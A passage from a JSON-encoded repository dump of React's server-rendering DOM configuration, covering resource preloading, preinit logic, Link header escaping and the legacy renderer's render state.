header that doesn't fit\n          // we assume all the rest won't as well. This is to avoid getting into a situation\n          // where we have a very small remaining capacity but no headers will ever fit and we end\n          // up constantly trying to see if the next resource might make it. In the future we can\n          // make this behavior different between render and prerender since in the latter case\n          // we are less sensitive to the current requests runtime per and more sensitive to maximizing\n          // headers.\n          (headers.remainingCapacity -= header.length + 2) >= 0)\n        ) {\n          // If we postpone in the shell we will still emit a preload as a header so we\n          // track this to make sure we don't reset it.\n          renderState.resets.image[key] = PRELOAD_NO_CREDS;\n          if (headers.highImagePreloads) {\n            headers.highImagePreloads += ', ';\n          }\n          // $FlowFixMe[unsafe-addition]: we assign header during the if condition\n          headers.highImagePreloads += header;\n        } else {\n          // If we don't have headers to write to we have to encode as elements to flush in the head\n          // When we have imageSrcSet the browser probably cannot load the right version from headers\n          // (this should be verified by testing). For now we assume these need to go in the head\n          // as elements even if headers are available.\n          const resource = ([]: Resource);\n          pushLinkImpl(\n            resource,\n            Object.assign(\n              ({\n                rel: 'preload',\n                // There is a bug in Safari where imageSrcSet is not respected on preload links\n                // so we omit the href here if we have imageSrcSet b/c safari will load the wrong image.\n                // This harms older browers that do not support imageSrcSet by making their preloads not work\n                // but this population is shrinking fast and is already small so we accept this tradeoff.\n                href: imageSrcSet ? undefined : href,\n                as,\n              }: PreloadAsProps),\n              options,\n            ),\n          );\n          if (fetchPriority === 'high') {\n            renderState.highImagePreloads.add(resource);\n          } else {\n            renderState.bulkPreloads.add(resource);\n            // Stash the resource in case we need to promote it to higher priority\n            // when an img tag is rendered\n            renderState.preloads.images.set(key, resource);\n          }\n        }\n        break;\n      }\n      case 'style': {\n        const key = getResourceKey(href);\n        if (resumableState.styleResources.hasOwnProperty(key)) {\n          // we can return if we already have this resource\n          return;\n        }\n        const resource = ([]: Resource);\n        pushLinkImpl(\n          resource,\n          Object.assign(({rel: 'preload', href, as}: PreloadAsProps), options),\n        );\n        resumableState.styleResources[key] =\n          options &&\n          (typeof options.crossOrigin === 'string' ||\n            typeof options.integrity === 'string')\n            ? [options.crossOrigin, options.integrity]\n            : PRELOAD_NO_CREDS;\n        renderState.preloads.stylesheets.set(key, resource);\n        renderState.bulkPreloads.add(resource);\n        break;\n      }\n      case 'script': {\n        const key = getResourceKey(href);\n        if (resumableState.scriptResources.hasOwnProperty(key)) {\n          // we can return if we already have this resource\n          return;\n        }\n        const resource = ([]: Resource);\n        renderState.preloads.scripts.set(key, resource);\n        renderState.bulkPreloads.add(resource);\n        pushLinkImpl(\n          resource,\n          Object.assign(({rel: 'preload', href, as}: PreloadAsProps), options),\n        );\n        resumableState.scriptResources[key] =\n          options &&\n          (typeof options.crossOrigin === 'string' ||\n            typeof options.integrity === 'string')\n            ? [options.crossOrigin, options.integrity]\n            : PRELOAD_NO_CREDS;\n        break;\n      }\n      default: {\n        const key = getResourceKey(href);\n        const hasAsType = resumableState.unknownResources.hasOwnProperty(as);\n        let resources;\n        if (hasAsType) {\n          resources = resumableState.unknownResources[as];\n          if (resources.hasOwnProperty(key)) {\n            // we can return if we already have this resource\n            return;\n          }\n        } else {\n          resources = ({}: ResumableState['unknownResources']['asType']);\n          resumableState.unknownResources[as] = resources;\n        }\n        resources[key] = PRELOAD_NO_CREDS;\n\n        const headers = renderState.headers;\n        let header;\n        if (\n          headers &&\n          headers.remainingCapacity > 0 &&\n          as === 'font' &&\n          // We compute the header here because we might be able to fit it in the max length\n          ((header = getPreloadAsHeader(href, as, options)),\n          // We always consume the header length since once we find one header that doesn't fit\n          // we assume all the rest won't as well. This is to avoid getting into a situation\n          // where we have a very small remaining capacity but no headers will ever fit and we end\n          // up constantly trying to see if the next resource might make it. In the future we can\n          // make this behavior different between render and prerender since in the latter case\n          // we are less sensitive to the current requests runtime per and more sensitive to maximizing\n          // headers.\n          (headers.remainingCapacity -= header.length + 2) >= 0)\n        ) {\n          // If we postpone in the shell we will still emit this preload so we\n          // track it here to prevent it from being reset.\n          renderState.resets.font[key] = PRELOAD_NO_CREDS;\n          if (headers.fontPreloads) {\n            headers.fontPreloads += ', ';\n          }\n          // $FlowFixMe[unsafe-addition]: we assign header during the if condition\n          headers.fontPreloads += header;\n        } else {\n          // We either don't have headers or we are preloading something that does\n          // not warrant elevated priority so we encode as an element.\n          const resource = ([]: Resource);\n          const props = Object.assign(\n            ({\n              rel: 'preload',\n              href,\n              as,\n            }: PreloadAsProps),\n            options,\n          );\n          pushLinkImpl(resource, props);\n          switch (as) {\n            case 'font':\n              renderState.fontPreloads.add(resource);\n              break;\n            // intentional fall through\n            default:\n              renderState.bulkPreloads.add(resource);\n          }\n        }\n      }\n    }\n    // If we got this far we created a new resource\n    flushResources(request);\n  }\n}\n\nfunction preloadModule(\n  href: string,\n  options?: ?PreloadModuleImplOptions,\n): void {\n  const request = resolveRequest();\n  if (!request) {\n    // In async contexts we can sometimes resolve resources from AsyncLocalStorage. If we can't we can also\n    // possibly get them from the stack if we are not in an async context. Since we were not able to resolve\n    // the resources for this call in either case we opt to do nothing. We can consider making this a warning\n    // but there may be times where calling a function outside of render is intentional (i.e. to warm up data\n    // fetching) and we don't want to warn in those cases.\n    previousDispatcher.m(/* preloadModule */ href, options);\n    return;\n  }\n  const resumableState = getResumableState(request);\n  const renderState = getRenderState(request);\n  if (href) {\n    const key = getResourceKey(href);\n    const as =\n      options && typeof options.as === 'string' ? options.as : 'script';\n\n    let resource;\n    switch (as) {\n      case 'script': {\n        if (resumableState.moduleScriptResources.hasOwnProperty(key)) {\n          // we can return if we already have this resource\n          return;\n        }\n        resource = ([]: Resource);\n        resumableState.moduleScriptResources[key] =\n          options &&\n          (typeof options.crossOrigin === 'string' ||\n            typeof options.integrity === 'string')\n            ? [options.crossOrigin, options.integrity]\n            : PRELOAD_NO_CREDS;\n        renderState.preloads.moduleScripts.set(key, resource);\n        break;\n      }\n      default: {\n        const hasAsType =\n          resumableState.moduleUnknownResources.hasOwnProperty(as);\n        let resources;\n        if (hasAsType) {\n          resources = resumableState.unknownResources[as];\n          if (resources.hasOwnProperty(key)) {\n            // we can return if we already have this resource\n            return;\n          }\n        } else {\n          resources = ({}: ResumableState['moduleUnknownResources']['asType']);\n          resumableState.moduleUnknownResources[as] = resources;\n        }\n        resource = ([]: Resource);\n        resources[key] = PRELOAD_NO_CREDS;\n      }\n    }\n\n    pushLinkImpl(\n      resource,\n      Object.assign(\n        ({\n          rel: 'modulepreload',\n          href,\n        }: PreloadModuleProps),\n        options,\n      ),\n    );\n    renderState.bulkPreloads.add(resource);\n    // If we got this far we created a new resource\n    flushResources(request);\n  }\n}\n\nfunction preinitStyle(\n  href: string,\n  precedence: ?string,\n  options?: ?PreinitStyleOptions,\n): void {\n  const request = resolveRequest();\n  if (!request) {\n    // In async contexts we can sometimes resolve resources from AsyncLocalStorage. If we can't we can also\n    // possibly get them from the stack if we are not in an async context. Since we were not able to resolve\n    // the resources for this call in either case we opt to do nothing. We can consider making this a warning\n    // but there may be times where calling a function outside of render is intentional (i.e. to warm up data\n    // fetching) and we don't want to warn in those cases.\n    previousDispatcher.S(/* preinitStyle */ href, precedence, options);\n    return;\n  }\n  const resumableState = getResumableState(request);\n  const renderState = getRenderState(request);\n  if (href) {\n    precedence = precedence || 'default';\n    const key = getResourceKey(href);\n\n    let styleQueue = renderState.styles.get(precedence);\n    const hasKey = resumableState.styleResources.hasOwnProperty(key);\n    const resourceState = hasKey\n      ? resumableState.styleResources[key]\n      : undefined;\n    if (resourceState !== EXISTS) {\n      // We are going to create this resource now so it is marked as Exists\n      resumableState.styleResources[key] = EXISTS;\n\n      // If this is the first time we've encountered this precedence we need\n      // to create a StyleQueue\n      if (!styleQueue) {\n        styleQueue = {\n          precedence: stringToChunk(escapeTextForBrowser(precedence)),\n          rules: ([]: Array<Chunk | PrecomputedChunk>),\n          hrefs: ([]: Array<Chunk | PrecomputedChunk>),\n          sheets: (new Map(): Map<string, StylesheetResource>),\n        };\n        renderState.styles.set(precedence, styleQueue);\n      }\n\n      const resource = {\n        state: PENDING,\n        props: Object.assign(\n          ({\n            rel: 'stylesheet',\n            href,\n            'data-precedence': precedence,\n          }: StylesheetProps),\n          options,\n        ),\n      };\n\n      if (resourceState) {\n        // When resourceState is truty it is a Preload state. We cast it for clarity\n        const preloadState: Preloaded | PreloadedWithCredentials =\n          resourceState;\n        if (preloadState.length === 2) {\n          adoptPreloadCredentials(resource.props, preloadState);\n        }\n\n        const preloadResource = renderState.preloads.stylesheets.get(key);\n        if (preloadResource && preloadResource.length > 0) {\n          // The Preload for this resource was created in this render pass and has not flushed yet so\n          // we need to clear it to avoid it flushing.\n          preloadResource.length = 0;\n        } else {\n          // Either the preload resource from this render already flushed in this render pass\n          // or the preload flushed in a prior pass (prerender). In either case we need to mark\n          // this resource as already having been preloaded.\n          resource.state = PRELOADED;\n        }\n      } else {\n        // We don't need to check whether a preloadResource exists in the renderState\n        // because if it did exist then the resourceState would also exist and we would\n        // have hit the primary if condition above.\n      }\n\n      // We add the newly created resource to our StyleQueue and if necessary\n      // track the resource with the currently rendering boundary\n      styleQueue.sheets.set(key, resource);\n\n      // Notify the request that there are resources to flush even if no work is currently happening\n      flushResources(request);\n    }\n  }\n}\n\nfunction preinitScript(src: string, options?: ?PreinitScriptOptions): void {\n  const request = resolveRequest();\n  if (!request) {\n    // In async contexts we can sometimes resolve resources from AsyncLocalStorage. If we can't we can also\n    // possibly get them from the stack if we are not in an async context. Since we were not able to resolve\n    // the resources for this call in either case we opt to do nothing. We can consider making this a warning\n    // but there may be times where calling a function outside of render is intentional (i.e. to warm up data\n    // fetching) and we don't want to warn in those cases.\n    previousDispatcher.X(/* preinitScript */ src, options);\n    return;\n  }\n  const resumableState = getResumableState(request);\n  const renderState = getRenderState(request);\n  if (src) {\n    const key = getResourceKey(src);\n\n    const hasKey = resumableState.scriptResources.hasOwnProperty(key);\n    const resourceState = hasKey\n      ? resumableState.scriptResources[key]\n      : undefined;\n    if (resourceState !== EXISTS) {\n      // We are going to create this resource now so it is marked as Exists\n      resumableState.scriptResources[key] = EXISTS;\n\n      const props: ScriptProps = Object.assign(\n        ({\n          src,\n          async: true,\n        }: ScriptProps),\n        options,\n      );\n      if (resourceState) {\n        // When resourceState is truty it is a Preload state. We cast it for clarity\n        const preloadState: Preloaded | PreloadedWithCredentials =\n          resourceState;\n        if (preloadState.length === 2) {\n          adoptPreloadCredentials(props, preloadState);\n        }\n\n        const preloadResource = renderState.preloads.scripts.get(key);\n        if (preloadResource) {\n          // the preload resource exists was created in this render. Now that we have\n          // a script resource which will emit earlier than a preload would if it\n          // hasn't already flushed we prevent it from flushing by zeroing the length\n          preloadResource.length = 0;\n        }\n      }\n\n      const resource: Resource = [];\n      // Add to the script flushing queue\n      renderState.scripts.add(resource);\n      // encode the tag as Chunks\n      pushScriptImpl(resource, props);\n      // Notify the request that there are resources to flush even if no work is currently happening\n      flushResources(request);\n    }\n    return;\n  }\n}\n\nfunction preinitModuleScript(\n  src: string,\n  options?: ?PreinitModuleScriptOptions,\n): void {\n  const request = resolveRequest();\n  if (!request) {\n    // In async contexts we can sometimes resolve resources from AsyncLocalStorage. If we can't we can also\n    // possibly get them from the stack if we are not in an async context. Since we were not able to resolve\n    // the resources for this call in either case we opt to do nothing. We can consider making this a warning\n    // but there may be times where calling a function outside of render is intentional (i.e. to warm up data\n    // fetching) and we don't want to warn in those cases.\n    previousDispatcher.M(/* preinitModuleScript */ src, options);\n    return;\n  }\n  const resumableState = getResumableState(request);\n  const renderState = getRenderState(request);\n  if (src) {\n    const key = getResourceKey(src);\n    const hasKey = resumableState.moduleScriptResources.hasOwnProperty(key);\n    const resourceState = hasKey\n      ? resumableState.moduleScriptResources[key]\n      : undefined;\n    if (resourceState !== EXISTS) {\n      // We are going to create this resource now so it is marked as Exists\n      resumableState.moduleScriptResources[key] = EXISTS;\n\n      const props = Object.assign(\n        ({\n          src,\n          type: 'module',\n          async: true,\n        }: ModuleScriptProps),\n        options,\n      );\n      if (resourceState) {\n        // When resourceState is truty it is a Preload state. We cast it for clarity\n        const preloadState: Preloaded | PreloadedWithCredentials =\n          resourceState;\n        if (preloadState.length === 2) {\n          adoptPreloadCredentials(props, preloadState);\n        }\n\n        const preloadResource = renderState.preloads.moduleScripts.get(key);\n        if (preloadResource) {\n          // the preload resource exists was created in this render. Now that we have\n          // a script resource which will emit earlier than a preload would if it\n          // hasn't already flushed we prevent it from flushing by zeroing the length\n          preloadResource.length = 0;\n        }\n      }\n\n      const resource: Resource = [];\n      // Add to the script flushing queue\n      renderState.scripts.add(resource);\n      // encode the tag as Chunks\n      pushScriptImpl(resource, props);\n      // Notify the request that there are resources to flush even if no work is currently happening\n      flushResources(request);\n    }\n    return;\n  }\n}\n\n// This function is only safe to call at Request start time since it assumes\n// that each module has not already been preloaded. If we find a need to preload\n// scripts at any other point in time we will need to check whether the preload\n// already exists and not assume it\nfunction preloadBootstrapScriptOrModule(\n  resumableState: ResumableState,\n  renderState: RenderState,\n  href: string,\n  props: PreloadProps,\n): void {\n  const key = getResourceKey(href);\n\n  if (__DEV__) {\n    if (\n      resumableState.scriptResources.hasOwnProperty(key) ||\n      resumableState.moduleScriptResources.hasOwnProperty(key)\n    ) {\n      // This is coded as a React error because it should be impossible for a userspace preload to preempt this call\n      // If a userspace preload can preempt it then this assumption is broken and we need to reconsider this strategy\n      // rather than instruct the user to not preload their bootstrap scripts themselves\n      console.error(\n        'Internal React Error: React expected bootstrap script or module with src \"%s\" to not have been preloaded already. please file an issue',\n        href,\n      );\n    }\n  }\n\n  // The href used for bootstrap scripts and bootstrap modules should never be\n  // used to preinit the resource. If a script can be preinited then it shouldn't\n  // be a bootstrap script/module and if it is a bootstrap script/module then it\n  // must not be safe to emit early. To avoid possibly allowing for preinits of\n  // bootstrap scripts/modules we occlude these keys.\n  resumableState.scriptResources[key] = EXISTS;\n  resumableState.moduleScriptResources[key] = EXISTS;\n\n  const resource: Resource = [];\n  pushLinkImpl(resource, props);\n  renderState.bootstrapScripts.add(resource);\n}\n\nfunction internalPreinitScript(\n  resumableState: ResumableState,\n  renderState: RenderState,\n  src: string,\n  chunks: Array<Chunk | PrecomputedChunk>,\n): void {\n  const key = getResourceKey(src);\n  if (!resumableState.scriptResources.hasOwnProperty(key)) {\n    const resource: Resource = chunks;\n    resumableState.scriptResources[key] = EXISTS;\n    renderState.scripts.add(resource);\n  }\n  return;\n}\n\nfunction preloadAsStylePropsFromProps(href: string, props: any): PreloadProps {\n  return {\n    rel: 'preload',\n    as: 'style',\n    href: href,\n    crossOrigin: props.crossOrigin,\n    fetchPriority: props.fetchPriority,\n    integrity: props.integrity,\n    media: props.media,\n    hrefLang: props.hrefLang,\n    referrerPolicy: props.referrerPolicy,\n  };\n}\n\nfunction stylesheetPropsFromRawProps(rawProps: any): StylesheetProps {\n  return {\n    ...rawProps,\n    'data-precedence': rawProps.precedence,\n    precedence: null,\n  };\n}\n\nfunction adoptPreloadCredentials(\n  target: StylesheetProps | ScriptProps | ModuleScriptProps,\n  preloadState: PreloadedWithCredentials,\n): void {\n  if (target.crossOrigin == null) target.crossOrigin = preloadState[0];\n  if (target.integrity == null) target.integrity = preloadState[1];\n}\n\nfunction getPrefetchDNSAsHeader(href: string): string {\n  const escapedHref = escapeHrefForLinkHeaderURLContext(href);\n  return `<${escapedHref}>; rel=dns-prefetch`;\n}\n\nfunction getPreconnectAsHeader(\n  href: string,\n  crossOrigin?: ?CrossOriginEnum,\n): string {\n  const escapedHref = escapeHrefForLinkHeaderURLContext(href);\n  let value = `<${escapedHref}>; rel=preconnect`;\n  if (typeof crossOrigin === 'string') {\n    const escapedCrossOrigin = escapeStringForLinkHeaderQuotedParamValueContext(\n      crossOrigin,\n      'crossOrigin',\n    );\n    value += `; crossorigin=\"${escapedCrossOrigin}\"`;\n  }\n  return value;\n}\n\nfunction getPreloadAsHeader(\n  href: string,\n  as: string,\n  params: ?PreloadImplOptions,\n): string {\n  const escapedHref = escapeHrefForLinkHeaderURLContext(href);\n  const escapedAs = escapeStringForLinkHeaderQuotedParamValueContext(as, 'as');\n  let value = `<${escapedHref}>; rel=preload; as=\"${escapedAs}\"`;\n  for (const paramName in params) {\n    if (hasOwnProperty.call(params, paramName)) {\n      // $FlowFixMe[invalid-computed-prop]\n      const paramValue = params[paramName];\n      if (typeof paramValue === 'string') {\n        value += `; ${paramName.toLowerCase()}=\"${escapeStringForLinkHeaderQuotedParamValueContext(\n          paramValue,\n          paramName,\n        )}\"`;\n      }\n    }\n  }\n  return value;\n}\n\nfunction getStylesheetPreloadAsHeader(stylesheet: StylesheetResource): string {\n  const props = stylesheet.props;\n  const preloadOptions: PreloadImplOptions = {\n    crossOrigin: props.crossOrigin,\n    integrity: props.integrity,\n    nonce: props.nonce,\n    type: props.type,\n    fetchPriority: props.fetchPriority,\n    referrerPolicy: props.referrerPolicy,\n    media: props.media,\n  };\n  return getPreloadAsHeader(props.href, 'style', preloadOptions);\n}\n\n// This escaping function is only safe to use for href values being written into\n// a \"Link\" header in between `<` and `>` characters. The primary concern with the href is\n// to escape the bounding characters as well as new lines. This is unsafe to use in any other\n// context\nconst regexForHrefInLinkHeaderURLContext = /[<>\\r\\n]/g;\nfunction escapeHrefForLinkHeaderURLContext(hrefInput: string): string {\n  if (__DEV__) {\n    checkAttributeStringCoercion(hrefInput, 'href');\n  }\n  const coercedHref = '' + hrefInput;\n  return coercedHref.replace(\n    regexForHrefInLinkHeaderURLContext,\n    escapeHrefForLinkHeaderURLContextReplacer,\n  );\n}\nfunction escapeHrefForLinkHeaderURLContextReplacer(match: string): string {\n  switch (match) {\n    case '<':\n      return '%3C';\n    case '>':\n      return '%3E';\n    case '\\n':\n      return '%0A';\n    case '\\r':\n      return '%0D';\n    default: {\n      // eslint-disable-next-line react-internal/prod-error-codes\n      throw new Error(\n        'escapeLinkHrefForHeaderContextReplacer encountered a match it does not know how to replace. this means the match regex and the replacement characters are no longer in sync. This is a bug in React',\n      );\n    }\n  }\n}\n\n// This escaping function is only safe to use for quoted param values in an HTTP header.\n// It is unsafe to use for any value not inside quote marks in parater value position.\nconst regexForLinkHeaderQuotedParamValueContext = /[\"';,\\r\\n]/g;\nfunction escapeStringForLinkHeaderQuotedParamValueContext(\n  value: string,\n  name: string,\n): string {\n  if (__DEV__) {\n    checkOptionStringCoercion(value, name);\n  }\n  const coerced = '' + value;\n  return coerced.replace(\n    regexForLinkHeaderQuotedParamValueContext,\n    escapeStringForLinkHeaderQuotedParamValueContextReplacer,\n  );\n}\nfunction escapeStringForLinkHeaderQuotedParamValueContextReplacer(\n  match: string,\n): string {\n  switch (match) {\n    case '\"':\n      return '%22';\n    case \"'\":\n      return '%27';\n    case ';':\n      return '%3B';\n    case ',':\n      return '%2C';\n    case '\\n':\n      return '%0A';\n    case '\\r':\n      return '%0D';\n    default: {\n      // eslint-disable-next-line react-internal/prod-error-codes\n      throw new Error(\n        'escapeStringForLinkHeaderQuotedParamValueContextReplacer encountered a match it does not know how to replace. this means the match regex and the replacement characters are no longer in sync. This is a bug in React',\n      );\n    }\n  }\n}\n\nfunction hoistStyleQueueDependency(\n  this: HoistableState,\n  styleQueue: StyleQueue,\n) {\n  this.styles.add(styleQueue);\n}\n\nfunction hoistStylesheetDependency(\n  this: HoistableState,\n  stylesheet: StylesheetResource,\n) {\n  this.stylesheets.add(stylesheet);\n}\n\nexport function hoistHoistables(\n  parentState: HoistableState,\n  childState: HoistableState,\n): void {\n  childState.styles.forEach(hoistStyleQueueDependency, parentState);\n  childState.stylesheets.forEach(hoistStylesheetDependency, parentState);\n  if (childState.suspenseyImages) {\n    // If the child has suspensey images, the parent now does too if it's inlined.\n    // Similarly, if a SuspenseList row has a suspensey image then effectively\n    // the next row should be blocked on it as well since the next row can't show\n    // earlier. In practice, since the child will be outlined this transferring\n    // may never matter but is conceptually correct.\n    parentState.suspenseyImages = true;\n  }\n}\n\nexport function hasSuspenseyContent(\n  hoistableState: HoistableState,\n  flushingInShell: boolean,\n): boolean {\n  if (flushingInShell) {\n    // When flushing the shell, stylesheets with precedence are already emitted\n    // in the <head> which blocks paint. There's no benefit to outlining for CSS\n    // alone during the shell flush. However, suspensey images (for ViewTransition\n    // animation reveals) should still trigger outlining even during the shell.\n    return hoistableState.suspenseyImages;\n  }\n  return hoistableState.stylesheets.size > 0 || hoistableState.suspenseyImages;\n}\n\n// This function is called at various times depending on whether we are rendering\n// or prerendering. In this implementation we only actually emit headers once and\n// subsequent calls are ignored. We track whether the request has a completed shell\n// to determine whether we will follow headers with a flush including stylesheets.\n// In the context of prerrender we don't have a completed shell when the request finishes\n// with a postpone in the shell. In the context of a render we don't have a completed shell\n// if this is called before the shell finishes rendering which usually will happen anytime\n// anything suspends in the shell.\nexport function emitEarlyPreloads(\n  renderState: RenderState,\n  resumableState: ResumableState,\n  shellComplete: boolean,\n): void {\n  const onHeaders = renderState.onHeaders;\n  if (onHeaders) {\n    const headers = renderState.headers;\n    if (headers) {\n      // Even if onHeaders throws we don't want to call this again so\n      // we drop the headers state from this point onwards.\n      renderState.headers = null;\n\n      let linkHeader = headers.preconnects;\n      if (headers.fontPreloads) {\n        if (linkHeader) {\n          linkHeader += ', ';\n        }\n        linkHeader += headers.fontPreloads;\n      }\n      if (headers.highImagePreloads) {\n        if (linkHeader) {\n          linkHeader += ', ';\n        }\n        linkHeader += headers.highImagePreloads;\n      }\n\n      if (!shellComplete) {\n        // We use raw iterators because we want to be able to halt iteration\n        // We could refactor renderState to store these dually in arrays to\n        // make this more efficient at the cost of additional memory and\n        // write overhead. However this code only runs once per request so\n        // for now I consider this sufficient.\n        const queueIter = renderState.styles.values();\n        outer: for (\n          let queueStep = queueIter.next();\n          headers.remainingCapacity > 0 && !queueStep.done;\n          queueStep = queueIter.next()\n        ) {\n          const sheets = queueStep.value.sheets;\n          const sheetIter = sheets.values();\n          for (\n            let sheetStep = sheetIter.next();\n            headers.remainingCapacity > 0 && !sheetStep.done;\n            sheetStep = sheetIter.next()\n          ) {\n            const sheet = sheetStep.value;\n            const props = sheet.props;\n            const key = getResourceKey(props.href);\n\n            const header = getStylesheetPreloadAsHeader(sheet);\n            // We mutate the capacity b/c we don't want to keep checking if later headers will fit.\n            // This means that a particularly long header might close out the header queue where later\n            // headers could still fit. We could in the future alter the behavior here based on prerender vs render\n            // since during prerender we aren't as concerned with pure runtime performance.\n            if ((headers.remainingCapacity -= header.length + 2) >= 0) {\n              renderState.resets.style[key] = PRELOAD_NO_CREDS;\n              if (linkHeader) {\n                linkHeader += ', ';\n              }\n              linkHeader += header;\n\n              // We already track that the resource exists in resumableState however\n              // if the resumableState resets because we postponed in the shell\n              // which is what is happening in this branch if we are prerendering\n              // then we will end up resetting the resumableState. When it resets we\n              // want to record the fact that this stylesheet was already preloaded\n              renderState.resets.style[key] =\n                typeof props.crossOrigin === 'string' ||\n                typeof props.integrity === 'string'\n                  ? [props.crossOrigin, props.integrity]\n                  : PRELOAD_NO_CREDS;\n            } else {\n              break outer;\n            }\n          }\n        }\n      }\n      if (linkHeader) {\n        onHeaders({\n          Link: linkHeader,\n        });\n      } else {\n        // We still call this with no headers because a user may be using it as a signal that\n        // it React will not provide any headers\n        onHeaders({});\n      }\n      return;\n    }\n  }\n}\n\nexport type TransitionStatus = FormStatus;\nexport const NotPendingTransition: TransitionStatus = NotPending;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/server/ReactFizzConfigDOMLegacy.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  RenderState as BaseRenderState,\n  ResumableState,\n  HoistableState,\n  StyleQueue,\n  Resource,\n  HeadersDescriptor,\n  PreambleState,\n  FormatContext,\n} from './ReactFizzConfigDOM';\n\nimport {\n  createRenderState as createRenderStateImpl,\n  pushTextInstance as pushTextInstanceImpl,\n  pushSegmentFinale as pushSegmentFinaleImpl,\n  pushStartActivityBoundary as pushStartActivityBoundaryImpl,\n  pushEndActivityBoundary as pushEndActivityBoundaryImpl,\n  writeStartCompletedSuspenseBoundary as writeStartCompletedSuspenseBoundaryImpl,\n  writeStartClientRenderedSuspenseBoundary as writeStartClientRenderedSuspenseBoundaryImpl,\n  writeEndCompletedSuspenseBoundary as writeEndCompletedSuspenseBoundaryImpl,\n  writeEndClientRenderedSuspenseBoundary as writeEndClientRenderedSuspenseBoundaryImpl,\n  writePreambleStart as writePreambleStartImpl,\n} from './ReactFizzConfigDOM';\n\nimport type {\n  Destination,\n  Chunk,\n  PrecomputedChunk,\n} from 'react-server/src/ReactServerStreamConfig';\n\nimport type {FormStatus} from '../shared/ReactDOMFormActions';\n\nimport {NotPending} from '../shared/ReactDOMFormActions';\n\nexport const isPrimaryRenderer = false;\n\nexport type RenderState = {\n  // Keep this in sync with ReactFizzConfigDOM\n  placeholderPrefix: PrecomputedChunk,\n  segmentPrefix: PrecomputedChunk,\n  boundaryPrefix: PrecomputedChunk,\n  startInlineScript: PrecomputedChunk,\n  startInlineStyle: PrecomputedChunk,\n  preamble: PreambleState,\n  externalRuntimeScript: null | any,\n  bootstrapChunks: Array<Chunk | PrecomputedChunk>,\n  importMapChunks: Array<Chunk | PrecomputedChunk>,\n  onHeaders: void | ((headers: HeadersDescriptor) => void),\n  headers: null | {\n    preconnects: string,\n    fontPreloads: string,\n    highImagePreloads: string,\n    remainingCapacity: number,\n  },\n  resets: BaseRenderState['resets'],\n  charsetChunks: Array<Chunk | PrecomputedChunk>,\n  viewportChunks: Array<Chunk | PrecomputedChunk>,\n  hoistableChunks: Array<Chunk | PrecomputedChunk>,\n  preconnects: Set<Resource>,\n  fontPreloads: Set<Resource>,\n  highImagePreloads: Set<Resource>,\n  // usedImagePreloads: Set<Resource>,\n  styles: Map<string, StyleQueue>,\n  bootstrapScripts: Set<Resource>,\n  scripts: Set<Resource>,\n  bulkPreloads: Set<Resource>,\n  preloads: {\n    images: Map<string, Resource>,\n    stylesheets: Map<string, Resource>,\n    scripts: Map<string, Resource>,\n    moduleScripts: Map<string, Resource>,\n  },\n  nonce: {\n    script: string | void,\n    style: string | void,\n  },\n  stylesToHoist: boolean,\n  // This is an extra field for the legacy renderer\n  generateStaticMarkup: boolean,\n};\n\nexport function createRenderState(\n  resumableState: ResumableState,\n  generateStaticMarkup: boolean,\n): RenderState {\n  const renderState = createRenderStateImpl(\n    resumableState,\n    undefined,\n    undefined,\n    undefined,\n    undefined,\n    undefined,\n  );\n  return {\n    // Keep this in sync with ReactFizzConfigDOM\n    placeholderPrefix: renderState.placeholderPrefix,\n    segmentPrefix: renderState.segmentPrefix,\n    boundaryPrefix: renderState.boundaryPrefix,\n    startInlineScript: renderState.startInlineScript,\n    startInlineStyle: renderState.startInlineStyle,\n    preamble: renderState.preamble,\n    externalRuntimeScript: renderState.externalRuntimeScript,\n    bootstrapChunks: renderState.bootstrapChunks,\n    importMapChunks: renderState.importMapChunks,\n    onHeaders: renderState.onHeaders,\n    headers: renderState.headers,\n    resets: renderState.resets,\n    charsetChunks: renderState.charsetChunks,\n    viewportChunks: renderState.viewportChunks,\n    hoistableChunks: renderState.hoistableChunks,\n    preconnects: renderState.preconnects,\n    fontPreloads: renderState.fontPreloads,\n    highImagePreloads: renderState.highImagePreloads,\n    // usedImagePreloads: renderState.usedImagePreloads,\n    styles: renderState.styles,\n    bootstrapScripts: renderState.bootstrapScripts,\n    scripts: renderState.scripts,\n    bulkPreloads: renderState.bulkPreloads,\n    preloads: renderState.preloads,\n    nonce: renderState.nonce,\n    stylesToHoist: renderState.stylesToHoist,\n\n    // This is an extra field for the legacy renderer\n    generateStaticMarkup,\n  };\n}\n\nimport {\n  stringToChunk,\n  stringToPrecomputedChunk,\n} from 'react-server/src/ReactServerStreamConfig';\n\n// this chunk is empty on purpose because we do not want to emit the DOCTYPE in legacy mode\nexport const doctypeChunk: PrecomputedChunk = stringToPrecomputedChunk('');\n\nexport type {\n  ResumableState,\n  HoistableState,\n  PreambleState,\n  FormatContext,\n} from './ReactFizzConfigDOM';\n\nexport {\n  getChildFormatContext,\n  getSuspenseFallbackFormatContext,\n  getSuspenseContentFormatContext,\n  makeId,\n  pushStartInstance,\n  pushEndInstance,\n  pushFormStateMarkerIsMatching,\n  pushFormStateMarkerIsNotMatching,\n  writeStartSegment,\n  writeEndSegment,\n  writeCompletedSegmentInstruction,\n  writeCompletedBoundaryInstruction,\n  writeClientRenderBoundaryInstruction,\n  writeStartPendingSuspenseBoundary,\n  writeEndPendingSuspenseBoundary,\n  writeHoistablesForBoundary,\n  writePlaceholder,\n  writeCompletedRoot,\n  createRootFormatContext,\n  createResumableState,\n  createPreambleState,\n  createHoistableState,\n  writePreambleEnd,\n  writeHoistables,\n  writePostamble,\n  hoistHoistables,\n  resetResumableState,\n  completeResumableState,\n  emitEarlyPreloads,\n  supportsClientAPIs,\n  hoistPreambleState,\n  isPreambleReady,\n  isPreambleContext,\n} from './ReactFizzConfigDOM';\n\nimport escapeTextForBrowser from './escapeTextForBrowser';\n\nexport function getViewTransitionFormatContext(\n  resumableState: ResumableState,\n  parentContext: FormatContext,\n  update: void | null | 'none' | 'auto' | string,\n  enter: void | null | 'none' | 'auto' | string,\n  exit: void | null | 'none' | 'auto' | string,\n  share: void | null | 'none' | 'auto' | string,\n  name: void | null | 'auto' | string,\n  autoName: string, // name or an autogenerated unique name\n): FormatContext {\n  // ViewTransition reveals are not supported in legacy renders.\n  return parentContext;\n}\n\nexport function canHavePreamble(formatContext: FormatContext): boolean {\n  return false;\n}\n\nexport function pushTextInstance(\n  target: Array<Chunk | PrecomputedChunk>,\n  text: string,\n  renderState: RenderState,\n  textEmbedded: boolean,\n): boolean 